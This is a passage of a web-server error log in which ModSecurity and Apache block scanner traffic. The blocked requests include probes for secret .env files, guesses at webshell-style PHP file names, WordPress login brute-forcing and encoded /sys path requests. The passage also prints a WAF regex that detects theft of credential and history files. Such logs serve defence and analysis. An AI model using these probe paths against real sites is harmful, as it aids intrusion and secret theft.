https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50Ni9kZXZpY2UvZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:06:56.948691 2026] [access_compat:error] [pid 531155:tid 531157] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50Ni9kZXZpY2UvZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:06:57.046486 2026] [access_compat:error] [pid 531155:tid 531280] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvbW9kdWxl [Sat Jun 13 18:06:57.046927 2026] [access_compat:error] [pid 531155:tid 531280] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvbW9kdWxl [Sat Jun 13 18:06:57.122308 2026] [security2:error] [pid 531797:tid 532100] [client 191.234.188.123:35125] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/fs9.php"] [unique_id "ai3wocTA7b1mZrmcA-8B7wAAAnk"] [Sat Jun 13 18:06:57.430691 2026] [access_compat:error] [pid 531155:tid 531241] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:06:57.431122 2026] [access_compat:error] [pid 531155:tid 531241] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:06:57.494038 2026] [access_compat:error] [pid 531155:tid 531238] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXI= [Sat Jun 13 18:06:57.494308 2026] [access_compat:error] [pid 531155:tid 531238] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXI= [Sat Jun 13 18:06:57.525789 2026] [access_compat:error] [pid 531797:tid 531904] [remote 57.141.14.83:34988] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:57.526057 2026] [access_compat:error] [pid 531797:tid 531904] [remote 57.141.14.83:34988] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:57.532121 2026] [security2:error] [pid 531797:tid 532110] [client 89.251.0.63:23727] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 63.0.251.89.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.expertappliance.org"] [uri "/wp-includes/load.php"] [unique_id "ai3wocTA7b1mZrmcA-8CBAAAAoM"] [Sat Jun 13 18:06:57.542936 2026] [access_compat:error] [pid 531797:tid 531960] [remote 57.141.14.40:42852] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:57.543202 2026] [access_compat:error] [pid 531797:tid 531960] [remote 57.141.14.40:42852] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:57.579705 2026] [security2:error] [pid 531797:tid 531957] [remote 17.246.15.103:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 103.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wocTA7b1mZrmcA-8CBgACMF0"] [Sat Jun 13 18:06:57.694345 2026] [access_compat:error] [pid 531155:tid 531235] [remote 57.141.14.62:54326] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:57.694807 2026] [access_compat:error] [pid 531155:tid 531235] [remote 57.141.14.62:54326] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:57.729279 2026] [access_compat:error] [pid 531155:tid 531194] [remote 57.141.14.34:32434] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:57.729712 2026] [access_compat:error] [pid 531155:tid 531194] [remote 57.141.14.34:32434] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:57.775530 2026] [security2:error] [pid 531155:tid 531393] [client 191.233.234.186:33832] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "gy.alvasonline.com"] [uri "/fff.php"] [unique_id "ai3woSmiP80klyS0NnrhYAAAAXY"] [Sat Jun 13 18:06:57.799959 2026] [security2:error] [pid 531155:tid 531301] [client 216.73.216.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/math/srand_basic.phpt"] [unique_id "ai3woSmiP80klyS0NnrhYwAAARo"] [Sat Jun 13 18:06:57.847575 2026] [security2:error] [pid 531155:tid 531181] [remote 74.7.227.53:57230] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "northsecuritysystems.com"] [uri "/index.php"] [unique_id "ai3woSmiP80klyS0NnrhagABDRk"], referer: https://northsecuritysystems.com/?product=domo-ip-8-megapixel-lente-mot-2-8-a-12-mm-darkfighter-wdr-120-db-ik10-ir-30-mts-conteo-facial-deteccion-facial-interior-poe-busqueda-por-atributos-microfono-integrado [Sat Jun 13 18:06:57.923284 2026] [access_compat:error] [pid 531155:tid 531209] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6Om51bWxvY2svZGV2aWNl [Sat Jun 13 18:06:57.923551 2026] [access_compat:error] [pid 531155:tid 531209] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6Om51bWxvY2svZGV2aWNl [Sat Jun 13 18:06:57.992360 2026] [access_compat:error] [pid 531155:tid 531251] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvaXJxLzI2 [Sat Jun 13 18:06:57.992633 2026] [access_compat:error] [pid 531155:tid 531251] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvaXJxLzI2 [Sat Jun 13 18:06:58.034412 2026] [security2:error] [pid 531797:tid 532036] [client 148.113.209.179:33218] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wosTA7b1mZrmcA-8CEwAAAjs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:06:58.312838 2026] [security2:error] [pid 531797:tid 532099] [client 148.113.209.179:33220] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wosTA7b1mZrmcA-8CGAAAAng"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:06:58.445087 2026] [security2:error] [pid 531797:tid 532056] [client 89.251.0.41:58487] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 41.0.251.89.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.expertappliance.org"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "ai3wosTA7b1mZrmcA-8CGQAAAk4"] [Sat Jun 13 18:06:58.447343 2026] [security2:error] [pid 531797:tid 531877] [remote 17.22.253.85:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 85.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wosTA7b1mZrmcA-8CGgACeQ0"] [Sat Jun 13 18:06:58.454098 2026] [security2:error] [pid 531797:tid 531873] [remote 17.22.245.254:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 254.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wosTA7b1mZrmcA-8CGwACQAk"] [Sat Jun 13 18:06:58.487168 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVs [Sat Jun 13 18:06:58.487452 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVs [Sat Jun 13 18:06:58.537525 2026] [security2:error] [pid 531155:tid 531411] [client 148.113.209.179:33224] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3woimiP80klyS0NnrhhAAAAYg"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:06:58.580853 2026] [access_compat:error] [pid 531155:tid 531271] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:06:58.581141 2026] [access_compat:error] [pid 531155:tid 531271] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:06:58.614512 2026] [access_compat:error] [pid 531797:tid 531871] [remote 57.141.14.84:37846] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:58.614976 2026] [access_compat:error] [pid 531797:tid 531871] [remote 57.141.14.84:37846] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:58.640177 2026] [security2:error] [pid 531797:tid 531939] [remote 17.246.15.117:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 117.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wosTA7b1mZrmcA-8CHgACHks"] [Sat Jun 13 18:06:58.642768 2026] [security2:error] [pid 531797:tid 532075] [client 191.233.234.186:33793] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "gy.alvasonline.com"] [uri "/dccs.php"] [unique_id "ai3wosTA7b1mZrmcA-8CHwAAAmE"] [Sat Jun 13 18:06:58.730032 2026] [access_compat:error] [pid 531797:tid 531950] [remote 74.7.242.16:50972] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9wcm9jL2lycS82Ng== [Sat Jun 13 18:06:58.730302 2026] [access_compat:error] [pid 531797:tid 531950] [remote 74.7.242.16:50972] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9wcm9jL2lycS82Ng== [Sat Jun 13 18:06:58.759004 2026] [security2:error] [pid 531155:tid 531341] [client 172.171.3.232:22558] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/congeree.php"] [unique_id "ai3woimiP80klyS0NnrhjAAAAUI"] [Sat Jun 13 18:06:59.030382 2026] [access_compat:error] [pid 531155:tid 531240] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjE6MA== [Sat Jun 13 18:06:59.030813 2026] [access_compat:error] [pid 531155:tid 531240] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjE6MA== [Sat Jun 13 18:06:59.078239 2026] [access_compat:error] [pid 531155:tid 531169] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL3N1YnN5c3RlbS9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:06:59.078530 2026] [access_compat:error] [pid 531155:tid 531169] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL3N1YnN5c3RlbS9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:06:59.132692 2026] [security2:error] [pid 531797:tid 532055] [client 20.9.67.71:64649] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.pedorthistontario.org"] [uri "/777.php"] [unique_id "ai3wo8TA7b1mZrmcA-8CKgAAAk0"] [Sat Jun 13 18:06:59.137311 2026] [access_compat:error] [pid 531797:tid 531948] [remote 57.141.14.78:43950] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:59.137599 2026] [access_compat:error] [pid 531797:tid 531948] [remote 57.141.14.78:43950] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:59.260675 2026] [access_compat:error] [pid 531797:tid 531905] [remote 216.73.217.87:17554] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:59.260990 2026] [access_compat:error] [pid 531797:tid 531905] [remote 216.73.217.87:17554] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:59.271305 2026] [security2:error] [pid 531797:tid 532080] [client 185.213.175.168:35990] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mypositiveedge.klrccares.com"] [uri "/api/.env"] [unique_id "ai3wo8TA7b1mZrmcA-8CMwAAAmY"] [Sat Jun 13 18:06:59.271927 2026] [security2:error] [pid 531797:tid 532082] [client 185.213.175.168:35938] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mypositiveedge.klrccares.com"] [uri "/.env"] [unique_id "ai3wo8TA7b1mZrmcA-8CNgAAAmg"] [Sat Jun 13 18:06:59.272685 2026] [security2:error] [pid 531797:tid 532063] [client 185.213.175.168:35988] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mypositiveedge.klrccares.com"] [uri "/backend/.env"] [unique_id "ai3wo8TA7b1mZrmcA-8CNAAAAlU"] [Sat Jun 13 18:06:59.407897 2026] [access_compat:error] [pid 531797:tid 531913] [remote 57.141.14.60:29356] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:59.408316 2026] [access_compat:error] [pid 531797:tid 531913] [remote 57.141.14.60:29356] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:59.488230 2026] 